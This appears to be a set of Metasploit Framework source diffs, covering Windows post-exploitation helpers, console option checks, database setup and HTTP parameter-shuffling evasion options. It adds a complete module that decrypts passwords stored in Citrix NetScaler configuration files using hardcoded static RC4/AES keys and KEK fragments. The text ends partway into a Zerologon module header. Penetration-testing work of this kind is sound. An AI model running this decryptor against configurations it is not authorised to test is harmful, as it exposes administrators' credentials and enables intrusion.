# REG QUERY KeyName [/v ValueName | /ve] [/s]
|
||||
results = shell_registry_cmd("query \"#{key}\"", view)
|
||||
unless results.include?('Error')
|
||||
unless results.to_s.upcase.starts_with?('ERROR:')
|
||||
if values = results.scan(/^ +.*[#{reg_data_types}].*/)
|
||||
# yanked the lines with legit REG value types like REG_SZ
|
||||
# now let's parse out the names (first field basically)
|
||||
@@ -365,19 +368,22 @@ protected
|
||||
#
|
||||
def shell_registry_getvalinfo(key, valname, view)
|
||||
key = normalize_key(key)
|
||||
value = {}
|
||||
value["Data"] = nil # defaults
|
||||
value["Type"] = nil
|
||||
value = {
|
||||
'Data' => nil,
|
||||
'Type' => nil
|
||||
}
|
||||
|
||||
# REG QUERY KeyName [/v ValueName | /ve] [/s]
|
||||
results = shell_registry_cmd("query \"#{key}\" /v \"#{valname}\"", view)
|
||||
|
||||
# pull out the interesting line (the one with the value name in it)
|
||||
if match_arr = /^ +#{valname}.*/i.match(results)
|
||||
# pull out the interesting line (the one with the value name in it)
|
||||
# and split it with ' ' yielding [valname,REGvaltype,REGdata]
|
||||
split_arr = match_arr[0].split(' ')
|
||||
value["Type"] = split_arr[1]
|
||||
value["Data"] = split_arr[2]
|
||||
# need to test to ensure all results can be parsed this way
|
||||
# split with ' ' yielding [valname,REGvaltype,REGdata] and extract reg type
|
||||
value['Type'] = match_arr[0].split[1]
|
||||
# treat the remainder of the line after the reg type as the reg value
|
||||
value['Data'] = match_arr[0].strip.scan(/#{value['Type']}\s+(.+)/).flatten.first
|
||||
end
|
||||
|
||||
value
|
||||
end
|
||||
|
||||
@@ -661,8 +667,8 @@ protected
|
||||
else
|
||||
raise ArgumentError, "Cannot normalize unknown key: #{key}"
|
||||
end
|
||||
print_status("Normalized #{key} to #{keys.join("\\")}") if $blab
|
||||
return keys.join("\\")
|
||||
# print_status("Normalized #{key} to #{keys.join("\\")}")
|
||||
return keys.compact.join("\\")
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -79,7 +79,7 @@ module Msf::Post::Windows::Runas
|
||||
0, # hStdInput
|
||||
0, # hStdOutput
|
||||
0 # hStdError
|
||||
].pack('VVVVVVVVVVVVvvVVVV')
|
||||
].pack(session.arch == ARCH_X64 ? 'QQQQVVVVVVVVvvQQQQ' : 'VVVVVVVVVVVVvvVVVV')
|
||||
end
|
||||
|
||||
#
|
||||
@@ -113,7 +113,7 @@ module Msf::Post::Windows::Runas
|
||||
nil,
|
||||
nil,
|
||||
startup_info,
|
||||
16)
|
||||
session.arch == ARCH_X64 ? 24 : 16)
|
||||
if create_process['return']
|
||||
pi = parse_process_information(create_process['lpProcessInformation'])
|
||||
print_good("Process started successfully, PID: #{pi[:process_id]}")
|
||||
@@ -173,7 +173,7 @@ module Msf::Post::Windows::Runas
|
||||
nil,
|
||||
nil,
|
||||
startup_info,
|
||||
16)
|
||||
session.arch == ARCH_X64 ? 24 : 16)
|
||||
|
||||
if create_process['return']
|
||||
begin
|
||||
@@ -210,7 +210,7 @@ module Msf::Post::Windows::Runas
|
||||
fail ArgumentError, 'process_information is nil' if process_information.nil?
|
||||
fail ArgumentError, 'process_information is empty string' if process_information.empty?
|
||||
|
||||
pi = process_information.unpack('VVVV')
|
||||
pi = process_information.unpack(session.arch == ARCH_X64 ? 'Q<Q<VV' : 'VVVV')
|
||||
{ :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
|
||||
end
|
||||
|
||||
|
||||
@@ -4,6 +4,7 @@ class Post
|
||||
module Windows
|
||||
|
||||
module UserProfiles
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::Windows::Accounts
|
||||
|
||||
@@ -92,7 +93,7 @@ module UserProfiles
|
||||
read_profile_list().each do |hive|
|
||||
hive['OURS']=false
|
||||
if hive['LOADED']== false
|
||||
if session.fs.file.exist?(hive['DAT'])
|
||||
if file_exist?(hive['DAT'])
|
||||
hive['OURS'] = registry_loadkey(hive['HKU'], hive['DAT'])
|
||||
print_error("Error loading USER #{hive['SID']}: Hive could not be loaded, are you Admin?") unless hive['OURS']
|
||||
else
|
||||
@@ -108,15 +109,17 @@ module UserProfiles
|
||||
# Read HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList to
|
||||
# get a list of user profiles on the machine.
|
||||
#
|
||||
def read_profile_list
|
||||
def read_profile_list(user_accounts_only: true)
|
||||
hives=[]
|
||||
registry_enumkeys('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList').each do |profkey|
|
||||
next unless profkey.include? "S-1-5-21"
|
||||
if user_accounts_only
|
||||
next unless profkey.starts_with?('S-1-5-21')
|
||||
end
|
||||
hive={}
|
||||
hive['SID']=profkey
|
||||
hive['HKU']= "HKU\\#{profkey}"
|
||||
hive['PROF']= registry_getvaldata("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{profkey}", 'ProfileImagePath')
|
||||
hive['PROF']= session.fs.file.expand_path(hive['PROF']) if hive['PROF']
|
||||
hive['PROF'] = expand_path(hive['PROF']) if hive['PROF']
|
||||
hive['DAT']= "#{hive['PROF']}\\NTUSER.DAT"
|
||||
hive['LOADED'] = loaded_hives.include?(profkey)
|
||||
hives << hive
|
||||
@@ -130,7 +133,7 @@ module UserProfiles
|
||||
def loaded_hives
|
||||
hives=[]
|
||||
registry_enumkeys('HKU').each do |k|
|
||||
next unless k.include? "S-1-5-21"
|
||||
next unless k.starts_with?('S-1-')
|
||||
next if k.include? "_Classes"
|
||||
hives<< k
|
||||
end
|
||||
|
||||
@@ -1827,9 +1827,19 @@ class Core
|
||||
append = true
|
||||
end
|
||||
|
||||
valid_options = []
|
||||
# Determine which data store we're operating on
|
||||
if (active_module and global == false)
|
||||
datastore = active_module.datastore
|
||||
|
||||
tab_complete_option_names(active_module, '', []).each do |opt_name|
|
||||
valid_options << opt_name
|
||||
option = active_module.options[opt_name]
|
||||
next unless option
|
||||
|
||||
# aliases that are defined for backwards compatibility are not tab completed but are still valid option names
|
||||
valid_options += active_module.options[opt_name].aliases
|
||||
end
|
||||
else
|
||||
global = true
|
||||
datastore = self.framework.datastore
|
||||
@@ -1852,11 +1862,14 @@ class Core
|
||||
datastore) + "\n")
|
||||
return true
|
||||
elsif (args.length == 1)
|
||||
if (not datastore[args[0]].nil?)
|
||||
if global || valid_options.any? { |vo| vo.casecmp?(args[0]) }
|
||||
print_line("#{args[0]} => #{datastore[args[0]]}")
|
||||
return true
|
||||
else
|
||||
print_error("Unknown variable")
|
||||
message = "Unknown datastore option: #{args[0]}."
|
||||
suggestion = DidYouMean::SpellChecker.new(dictionary: valid_options).correct(args[0]).first
|
||||
message << " Did you mean #{suggestion}?" if suggestion
|
||||
print_error(message)
|
||||
cmd_set_help
|
||||
return false
|
||||
end
|
||||
@@ -1881,7 +1894,14 @@ class Core
|
||||
# [name, class] from payload_show_results
|
||||
value = mod.first
|
||||
end
|
||||
end
|
||||
|
||||
unless global || valid_options.any? { |vo| vo.casecmp?(name) }
|
||||
message = "Unknown datastore option: #{name}."
|
||||
suggestion = DidYouMean::SpellChecker.new(dictionary: valid_options).correct(name).first
|
||||
message << " Did you mean #{suggestion}?" if suggestion
|
||||
print_error(message)
|
||||
return false
|
||||
end
|
||||
|
||||
# If the driver indicates that the value is not valid, bust out.
|
||||
|
||||
@@ -422,7 +422,8 @@ class Db
|
||||
[ '-i', '--info' ] => [ true, 'Change the info of a host', '<info>' ],
|
||||
[ '-n', '--name' ] => [ true, 'Change the name of a host', '<name>' ],
|
||||
[ '-m', '--comment' ] => [ true, 'Change the comment of a host', '<comment>' ],
|
||||
[ '-t', '--tag' ] => [ false, 'Add or specify a tag to a range of hosts' ],
|
||||
[ '-t', '--tag' ] => [ true, 'Add or specify a tag to a range of hosts', '<tag>' ],
|
||||
[ '-T', '--delete-tag' ] => [ true, 'Remove a tag from a range of hosts', '<tag>' ],
|
||||
[ '-d', '--delete' ] => [ true, 'Delete the hosts instead of searching', '<hosts>' ],
|
||||
[ '-o', '--output' ] => [ true, 'Send output to a file in csv format', '<filename>' ],
|
||||
[ '-O', '--order' ] => [ true, 'Order rows by specified column number', '<column id>' ],
|
||||
@@ -522,6 +523,9 @@ class Db
|
||||
when '-t', '--tag'
|
||||
mode << :tag
|
||||
tag_name = val
|
||||
when '-T', '--delete-tag'
|
||||
mode << :delete_tag
|
||||
tag_name = val
|
||||
when '-c', '-C'
|
||||
list = val
|
||||
if(!list)
|
||||
@@ -607,8 +611,16 @@ class Db
|
||||
end
|
||||
end
|
||||
return
|
||||
when mode.include?(:tag) && mode.include?(:delete)
|
||||
delete_host_tag(host_ranges, tag_name)
|
||||
when mode == [:delete_tag]
|
||||
begin
|
||||
delete_host_tag(host_ranges, tag_name)
|
||||
rescue => e
|
||||
if e.message.include?('Validation failed')
|
||||
print_error(e.message)
|
||||
else
|
||||
raise e
|
||||
end
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
@@ -627,9 +639,8 @@ class Db
|
||||
when "workspace"; host.workspace.name
|
||||
when "tags"
|
||||
found_tags = find_host_tags(framework.db.workspace, host.id)
|
||||
tag_names = []
|
||||
found_tags.each { |t| tag_names << t.name }
|
||||
found_tags * ", "
|
||||
tag_names = found_tags.map(&:name).join(', ')
|
||||
tag_names
|
||||
end
|
||||
# Otherwise, it's just an attribute
|
||||
else
|
||||
|
||||
@@ -258,6 +258,7 @@ module Msf
|
||||
str = <<~VERSIONS
|
||||
Framework: #{framework.version}
|
||||
Ruby: #{RUBY_DESCRIPTION}
|
||||
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
|
||||
Install Root: #{Msf::Config.install_root}
|
||||
Session Type: #{db_connection_info(framework)}
|
||||
Install Method: #{installation_method}
|
||||
|
||||
@@ -109,6 +109,7 @@ module WindowsCryptoHelpers
|
||||
(60...policy_secret.length).step(16) do |i|
|
||||
aes.reset
|
||||
aes.padding = 0
|
||||
aes.iv = "\x00" * 16
|
||||
decrypted_data << aes.update(policy_secret[i,16])
|
||||
end
|
||||
|
||||
|
||||
@@ -60,12 +60,12 @@ module MsfdbHelpers
|
||||
status.exitstatus
|
||||
end
|
||||
|
||||
def run_psql(cmd, db_name: 'postgres')
|
||||
def run_psql(cmd, socket_directory= "#{Dir.tmpdir}", db_name: 'postgres')
|
||||
if @options[:debug]
|
||||
puts "psql -p #{@options[:db_port]} -c \"#{cmd};\" #{db_name}"
|
||||
puts "psql -h #{socket_directory} -p #{@options[:db_port]} -c \"#{cmd};\" #{db_name}"
|
||||
end
|
||||
|
||||
run_cmd("psql -p #{@options[:db_port]} -c \"#{cmd};\" #{db_name}")
|
||||
run_cmd("psql -h #{socket_directory} -p #{@options[:db_port]} -c \"#{cmd};\" #{db_name}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -8,6 +8,7 @@ module MsfdbHelpers
|
||||
@options = options
|
||||
@localconf = localconf
|
||||
@db_conf = db_conf
|
||||
@socket_directory = db_path
|
||||
super(options)
|
||||
end
|
||||
|
||||
@@ -20,6 +21,17 @@ module MsfdbHelpers
|
||||
f.puts "port = #{@options[:db_port]}"
|
||||
end
|
||||
|
||||
# Try creating a test file at {Dir.tmpdir},
|
||||
# Else fallback to creation at @{db}
|
||||
# Else fail with error.
|
||||
if test_executable_file("#{Dir.tmpdir}")
|
||||
@socket_directory = Dir.tmpdir
|
||||
elsif test_executable_file("#{@db}")
|
||||
@socket_directory = @db
|
||||
else
|
||||
print_error("Attempt to create DB socket file at Temporary Directory and `~/.msf4/db` failed. Possibly because they are mounted with NOEXEC flags. Database initialization failed.")
|
||||
end
|
||||
|
||||
start
|
||||
|
||||
create_db_users(msf_pass, msftest_pass)
|
||||
@@ -28,6 +40,37 @@ module MsfdbHelpers
|
||||
restart
|
||||
end
|
||||
|
||||
# Creates and attempts to execute a testfile in the specified directory,
|
||||
# to determine if it is mounted with NOEXEC flags.
|
||||
def test_executable_file(path)
|
||||
begin
|
||||
file_name = File.join(path, 'msfdb_testfile')
|
||||
File.open(file_name, 'w') do |f|
|
||||
f.puts "#!/bin/bash\necho exec"
|
||||
end
|
||||
File.chmod(0744, file_name)
|
||||
|
||||
if run_cmd(file_name)
|
||||
File.open("#{@db}/postgresql.conf", 'a') do |f|
|
||||
f.puts "unix_socket_directories = \'#{path}\'"
|
||||
end
|
||||
puts "Creating db socket file at #{path}"
|
||||
end
|
||||
return true
|
||||
|
||||
rescue => e
|
||||
return false
|
||||
|
||||
ensure
|
||||
begin
|
||||
File.delete(file_name)
|
||||
rescue
|
||||
print_error("Unable to delete test file #{file_name}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def delete
|
||||
if exists?
|
||||
stop
|
||||
@@ -95,12 +138,12 @@ module MsfdbHelpers
|
||||
|
||||
def create_db_users(msf_pass, msftest_pass)
|
||||
puts 'Creating database users'
|
||||
run_psql("create user #{@options[:msf_db_user].shellescape} with password '#{msf_pass}'")
|
||||
run_psql("create user #{@options[:msftest_db_user].shellescape} with password '#{msftest_pass}'")
|
||||
run_psql("alter role #{@options[:msf_db_user].shellescape} createdb")
|
||||
run_psql("alter role #{@options[:msftest_db_user].shellescape} createdb")
|
||||
run_psql("alter role #{@options[:msf_db_user].shellescape} with password '#{msf_pass}'")
|
||||
run_psql("alter role #{@options[:msftest_db_user].shellescape} with password '#{msftest_pass}'")
|
||||
run_psql("create user #{@options[:msf_db_user].shellescape} with password '#{msf_pass}'", @socket_directory)
|
||||
run_psql("create user #{@options[:msftest_db_user].shellescape} with password '#{msftest_pass}'", @socket_directory)
|
||||
run_psql("alter role #{@options[:msf_db_user].shellescape} createdb", @socket_directory)
|
||||
run_psql("alter role #{@options[:msftest_db_user].shellescape} createdb", @socket_directory)
|
||||
run_psql("alter role #{@options[:msf_db_user].shellescape} with password '#{msf_pass}'", @socket_directory)
|
||||
run_psql("alter role #{@options[:msftest_db_user].shellescape} with password '#{msftest_pass}'", @socket_directory)
|
||||
|
||||
conn = PG.connect(host: @options[:db_host], dbname: 'postgres', port: @options[:db_port], user: @options[:msf_db_user], password: msf_pass)
|
||||
conn.exec("CREATE DATABASE #{@options[:msf_db_name]}")
|
||||
|
||||
@@ -1,6 +1,12 @@
|
||||
# Use bundler to load dependencies
|
||||
#
|
||||
|
||||
# Enable legacy providers such as blowfish-cbc, cast128-cbc, arcfour, etc
|
||||
$stderr.puts "Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions." unless ENV['OPENSSL_CONF'].nil?
|
||||
ENV['OPENSSL_CONF'] = File.expand_path(
|
||||
File.join(File.dirname(__FILE__), '..', 'config', 'openssl.conf')
|
||||
)
|
||||
|
||||
# Override the normal rails default, so that msfconsole will come up in production mode instead of development mode
|
||||
# unless the `--environment` flag is passed.
|
||||
ENV['RAILS_ENV'] ||= 'production'
|
||||
|
||||
@@ -63,15 +63,15 @@ class Process < Rex::Post::Process
|
||||
perms = PROCESS_ALL
|
||||
end
|
||||
|
||||
if (perms & PROCESS_READ)
|
||||
if (perms & PROCESS_READ) > 0
|
||||
real_perms |= PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION
|
||||
end
|
||||
|
||||
if (perms & PROCESS_WRITE)
|
||||
if (perms & PROCESS_WRITE) > 0
|
||||
real_perms |= PROCESS_SET_SESSIONID | PROCESS_VM_WRITE | PROCESS_DUP_HANDLE | PROCESS_SET_QUOTA | PROCESS_SET_INFORMATION
|
||||
end
|
||||
|
||||
if (perms & PROCESS_EXECUTE)
|
||||
if (perms & PROCESS_EXECUTE) > 0
|
||||
real_perms |= PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_CREATE_PROCESS | PROCESS_SUSPEND_RESUME
|
||||
end
|
||||
|
||||
|
||||
@@ -63,6 +63,8 @@ class Client
|
||||
'pad_get_params_count' => 'integer',
|
||||
'pad_post_params' => 'bool',
|
||||
'pad_post_params_count' => 'integer',
|
||||
'shuffle_get_params' => 'bool',
|
||||
'shuffle_post_params' => 'bool',
|
||||
'uri_fake_end' => 'bool',
|
||||
'uri_fake_params_start' => 'bool',
|
||||
'header_folding' => 'bool',
|
||||
|
||||
@@ -66,6 +66,8 @@ class ClientRequest
|
||||
'pad_post_params_count' => 8, # integer
|
||||
'uri_fake_end' => false, # bool
|
||||
'uri_fake_params_start' => false, # bool
|
||||
'shuffle_get_params' => false, # bool
|
||||
'shuffle_post_params' => false, # bool
|
||||
'header_folding' => false, # bool
|
||||
'chunked_size' => 0, # integer
|
||||
|
||||
@@ -114,6 +116,8 @@ class ClientRequest
|
||||
end
|
||||
end
|
||||
if opts.key?("vars_get") && opts['vars_get']
|
||||
opts['vars_get'] = Hash[opts['vars_get'].to_a.shuffle] if (opts['shuffle_get_params'])
|
||||
|
||||
opts['vars_get'].each_pair do |var,val|
|
||||
var = var.to_s
|
||||
|
||||
@@ -139,6 +143,8 @@ class ClientRequest
|
||||
end
|
||||
end
|
||||
|
||||
opts['vars_post'] = Hash[opts['vars_post'].to_a.shuffle] if (opts['shuffle_post_params'])
|
||||
|
||||
opts['vars_post'].each_pair do |var,val|
|
||||
var = var.to_s
|
||||
unless val.is_a?(Array)
|
||||
|
||||
@@ -83,14 +83,30 @@ class Cipher
|
||||
|
||||
user_struct = username + ("\0" * (64 - username.length)) + password + ("\0" * (64 - password.length))
|
||||
|
||||
dh_peer = OpenSSL::PKey::DH.new(key_length * 8, generator)
|
||||
dh_peer.set_key(peer_public_key, nil)
|
||||
# OpenSSL 3.0+
|
||||
if OpenSSL::PKey.respond_to?(:generate_key)
|
||||
dh = OpenSSL::PKey::DH.new(
|
||||
OpenSSL::ASN1::Sequence(
|
||||
[
|
||||
OpenSSL::ASN1::Integer(prime_modulus),
|
||||
OpenSSL::ASN1::Integer(generator),
|
||||
]
|
||||
).to_der
|
||||
)
|
||||
dh = OpenSSL::PKey.generate_key(dh)
|
||||
|
||||
dh = OpenSSL::PKey::DH.new(dh_peer)
|
||||
dh.set_pqg(prime_modulus, nil, generator)
|
||||
dh.generate_key!
|
||||
shared_key = dh.compute_key(peer_public_key)
|
||||
else
|
||||
dh_peer = OpenSSL::PKey::DH.new(key_length * 8, generator)
|
||||
dh_peer.set_key(peer_public_key, nil)
|
||||
dh_peer_pub_key = dh_peer.pub_key
|
||||
|
||||
shared_key = dh.compute_key(dh_peer.pub_key)
|
||||
dh = OpenSSL::PKey::DH.new(dh_peer)
|
||||
dh.set_pqg(prime_modulus, nil, generator)
|
||||
dh.generate_key!
|
||||
|
||||
shared_key = dh.compute_key(dh_peer_pub_key)
|
||||
end
|
||||
|
||||
md5 = OpenSSL::Digest.new('MD5')
|
||||
key_digest = md5.digest(shared_key)
|
||||
|
||||
@@ -18,6 +18,10 @@ class Input::Buffer < Rex::Ui::Text::Input
|
||||
def write(buf, opts={})
|
||||
syswrite(buf)
|
||||
end
|
||||
|
||||
def monitor_rsock(*args, **kwargs)
|
||||
dlog('monitor_rsock: Skipping - functionality not required')
|
||||
end
|
||||
end
|
||||
|
||||
def initialize
|
||||
|
||||
@@ -0,0 +1,254 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Decrypt Citrix NetScaler Config Secrets',
|
||||
'Description' => %q{
|
||||
This module takes a Citrix NetScaler ns.conf configuration file as
|
||||
input and extracts secrets that have been stored with reversible
|
||||
encryption. The module supports legacy NetScaler encryption (RC4)
|
||||
as well as the newer AES-256-ECB and AES-256-CBC encryption types.
|
||||
It is also possible to decrypt secrets protected by the Key
|
||||
Encryption Key (KEK) method, provided the key fragment files F1.key
|
||||
and F2.key are provided.
|
||||
},
|
||||
'Author' => 'npm[at]cesium137.io',
|
||||
'Platform' => [ 'bsd' ],
|
||||
'DisclosureDate' => '2022-05-19',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['URL', 'https://dozer.nz/posts/citrix-decrypt/'],
|
||||
['URL', 'https://www.ferroquesystems.com/resource/citrix-adc-security-kek-files/']
|
||||
],
|
||||
'Actions' => [
|
||||
[
|
||||
'Dump',
|
||||
{
|
||||
'Description' => 'Dump secrets from NetScaler configuration'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultAction' => 'Dump',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptPath.new('NS_CONF', [ true, 'Path to a NetScaler configuration file (ns.conf)' ]),
|
||||
OptPath.new('NS_KEK_F1', [ false, 'Path to NetScaler KEK fragment file F1.key' ]),
|
||||
OptPath.new('NS_KEK_F2', [ false, 'Path to NetScaler KEK fragment file F2.key' ]),
|
||||
OptString.new('NS_IP', [ false, '(Optional) IPv4 address to attach to loot' ])
|
||||
])
|
||||
end
|
||||
|
||||
def loot_host
|
||||
datastore['NS_IP'] || '127.0.0.1'
|
||||
end
|
||||
|
||||
def ns_conf
|
||||
datastore['NS_CONF']
|
||||
end
|
||||
|
||||
def ns_kek_f1
|
||||
datastore['NS_KEK_F1']
|
||||
end
|
||||
|
||||
def ns_kek_f2
|
||||
datastore['NS_KEK_F2']
|
||||
end
|
||||
|
||||
# ns.conf elements that contain potential secrets, update as needed
|
||||
# k = parameter that has the secret (-key, -password, [...])
|
||||
# v = start of config line that potentially has a secret
|
||||
def ns_secret
|
||||
{
|
||||
'key' => ['add ssl certKey'],
|
||||
'keyValue' => ['set ns encryptionParams'],
|
||||
'radKey' => ['add authentication radiusAction'],
|
||||
'ldapBindDnPassword' => ['add authentication ldapAction'],
|
||||
'password' => ['set ns rpcNode', 'add lb monitor', 'add aaa user'],
|
||||
'passPhrase' => ['add authentication dfaAction']
|
||||
}
|
||||
end
|
||||
|
||||
# Statically defined in libnscli90.so, modern appliances keep these in /nsconfig/.skf
|
||||
def ns90_rc4key
|
||||
'2286da6ca015bcd9b7259753c2a5fbc2'.scan(/../).map(&:hex).pack('C*')
|
||||
end
|
||||
|
||||
def ns90_aeskey
|
||||
'351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9'.scan(/../).map(&:hex).pack('C*')
|
||||
end
|
||||
|
||||
def run
|
||||
if ns_kek_f1 && ns_kek_f2
|
||||
print_status('Building NetScaler KEK from key fragments ...')
|
||||
build_ns_kek
|
||||
end
|
||||
parse_ns_config
|
||||
end
|
||||
|
||||
def build_ns_kek
|
||||
unless File.size(ns_kek_f1) == 256 && File.size(ns_kek_f2) == 256
|
||||
print_error('KEK files must be 256 bytes in size')
|
||||
return false
|
||||
end
|
||||
f1_hex = File.binread(ns_kek_f1)
|
||||
f2_hex = File.binread(ns_kek_f2)
|
||||
unless f1_hex.match?(/^[0-9a-f]+$/i)
|
||||
print_error('Provided F1.key is not valid hexidecimal data')
|
||||
raise Msf::OptionValidateError, ['NS_KEK_F1']
|
||||
end
|
||||
unless f2_hex.match?(/^[0-9a-f]+$/i)
|
||||
print_error('Provided F2.key is not valid hexidecimal data')
|
||||
raise Msf::OptionValidateError, ['NS_KEK_F2']
|
||||
end
|
||||
f1_key = f1_hex[66..130].scan(/../).map(&:hex).pack('C*')
|
||||
f2_key = f2_hex[70..134].scan(/../).map(&:hex).pack('C*')
|
||||
f1_key_hex = f1_key.unpack('H*').first
|
||||
f2_key_hex = f2_key.unpack('H*').first
|
||||
print_good('NS KEK F1')
|
||||
print_good("\t HEX: #{f1_key_hex}")
|
||||
print_good('NS KEK F2')
|
||||
print_good("\t HEX: #{f2_key_hex}")
|
||||
@ns_kek_key = OpenSSL::HMAC.hexdigest('SHA256', f2_key, f1_key).scan(/../).map(&:hex).pack('C*')
|
||||
@ns_kek_key_hex = @ns_kek_key.unpack('H*').first
|
||||
print_good('Assembled NS KEK AES key')
|
||||
print_good("\t HEX: #{@ns_kek_key_hex}\n")
|
||||
true
|
||||
end
|
||||
|
||||
def parse_ns_config
|
||||
ns_config_data = File.binread(ns_conf)
|
||||
ns_secret.each do |secret|
|
||||
element = secret[0]
|
||||
secret[1].each do |keyword|
|
||||
lines = ns_config_data.to_enum(:scan, /^#{keyword}.*/).map { Regexp.last_match }
|
||||
lines.each do |line|
|
||||
is_kek = false
|
||||
config_entry = line.to_s
|
||||
ciphertext = config_entry.to_enum(:scan, /#?([\da-f]{2})([\da-f]{2})([\da-f]{2})(\w+)/).map { Regexp.last_match }
|
||||
unless ciphertext.first
|
||||
ciphertext = config_entry.to_enum(:scan, /(-passcrypt.*(\s*))/).map { Regexp.last_match }
|
||||
next unless ciphertext.first
|
||||
end
|
||||
enc_type = config_entry.match(/encryptmethod (\w+)/).to_s.split(' ')[1].to_s
|
||||
if config_entry.match?(/-kek/)
|
||||
is_kek = true
|
||||
end
|
||||
print_status("Config line:\n#{config_entry}")
|
||||
if is_kek && !@ns_kek_key
|
||||
print_warning('Entry was encrypted with KEK but no KEK fragement files provided, decryption will not be possible')
|
||||
next
|
||||
end
|
||||
username = parse_username_from_config(config_entry)
|
||||
ciphertext.each do |encrypted|
|
||||
encrypted_entry = encrypted.to_s
|
||||
if encrypted_entry =~ /^[0-9a-f]+$/i
|
||||
ciphertext_bytes = encrypted_entry.scan(/../).map(&:hex).pack('C*')
|
||||
else
|
||||
ciphertext_b64 = encrypted_entry.split(' ')[1].delete('"')
|
||||
# TODO: Implement -passcrypt functionality
|
||||
# ciphertext_bytes = Base64.strict_decode64(ciphertext_b64)
|
||||
print_warning('Not decrypting passcrypt entry:')
|
||||
print_warning("Ciphertext: #{ciphertext_b64}")
|
||||
next
|
||||
end
|
||||
case enc_type
|
||||
when 'ENCMTHD_2' # aes-256-ecb
|
||||
if is_kek
|
||||
aeskey = @ns_kek_key
|
||||
else
|
||||
aeskey = ns90_aeskey
|
||||
end
|
||||
plaintext = ns_aes_ecb_decrypt(aeskey, ciphertext_bytes)
|
||||
when 'ENCMTHD_3' # aes-256-cbc
|
||||
if is_kek
|
||||
aeskey = @ns_kek_key
|
||||
else
|
||||
aeskey = ns90_aeskey
|
||||
end
|
||||
plaintext = ns_aes_cbc_decrypt(aeskey, ciphertext_bytes)
|
||||
else # rc4 (legacy)
|
||||
plaintext = ns_rc4_decrypt(ns90_rc4key, ciphertext_bytes)
|
||||
end
|
||||
next unless plaintext
|
||||
|
||||
if username
|
||||
print_good("User: #{username}")
|
||||
print_good("Pass: #{plaintext}")
|
||||
store_valid_credential(user: username, private: plaintext)
|
||||
else
|
||||
print_good("Plaintext: #{plaintext}")
|
||||
store_valid_credential(user: element, private: plaintext)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def parse_username_from_config(line)
|
||||
# Ugly but effective way to extract the principal name from a config line for loot storage
|
||||
# The whitespace prefixed to ' user' is intentional so that it does not clobber other parameters with 'user' in the pattern
|
||||
[' user', 'userName', '-clientID', '-bindDN', '-ldapBindDn'].each do |user_param|
|
||||
next unless line.match?(/#{user_param} (.+)/)
|
||||
|
||||
user_name = line.match(/#{user_param} (.+)/).to_s.split(' ')[1].to_s
|
||||
if user_name.match?('"')
|
||||
user_name = line.match(/#{user_param} (.+")/).to_s.split('"')[1].to_s
|
||||
end
|
||||
return user_name
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def ns_rc4_decrypt(rc4key, ciphertext_bytes)
|
||||
decipher = OpenSSL::Cipher.new('rc4')
|
||||
decipher.decrypt
|
||||
decipher.key = rc4key
|
||||
decipher.update(ciphertext_bytes)
|
||||
rescue OpenSSL::Cipher::CipherError
|
||||
print_error("#{__method__}: bad decrypt")
|
||||
return false
|
||||
end
|
||||
|
||||
def ns_aes_ecb_decrypt(aeskey, ciphertext_bytes)
|
||||
decipher = OpenSSL::Cipher.new('aes-256-ecb')
|
||||
decipher.decrypt
|
||||
decipher.padding = 0
|
||||
decipher.key = aeskey
|
||||
(decipher.update(ciphertext_bytes) + decipher.final).delete("\000")
|
||||
rescue OpenSSL::Cipher::CipherError
|
||||
print_error("#{__method__}: bad decrypt")
|
||||
return false
|
||||
end
|
||||
|
||||
def ns_aes_cbc_decrypt(aeskey, ciphertext_bytes)
|
||||
decipher = OpenSSL::Cipher.new('aes-256-cbc')
|
||||
iv = ciphertext_bytes[0, 16]
|
||||
ciphertext = ciphertext_bytes[16..]
|
||||
decipher.decrypt
|
||||
decipher.iv = iv
|
||||
decipher.padding = 1
|
||||
decipher.key = aeskey
|
||||
(decipher.update(ciphertext) + decipher.final).delete("\000")
|
||||
rescue OpenSSL::Cipher::CipherError
|
||||
print_error("#{__method__}: bad decrypt")
|
||||
return false
|
||||
end
|
||||
end
|
||||
@@ -3,6 +3,8 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'windows_error'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
@@ -33,7 +35,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Dirk-jan Mollema' # password restoration technique
|
||||
],
|
||||
'Notes' => {
|
||||
'AKA' => [ 'Zerologon' ]
|
||||
'AKA' => ['Zerologon'],
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
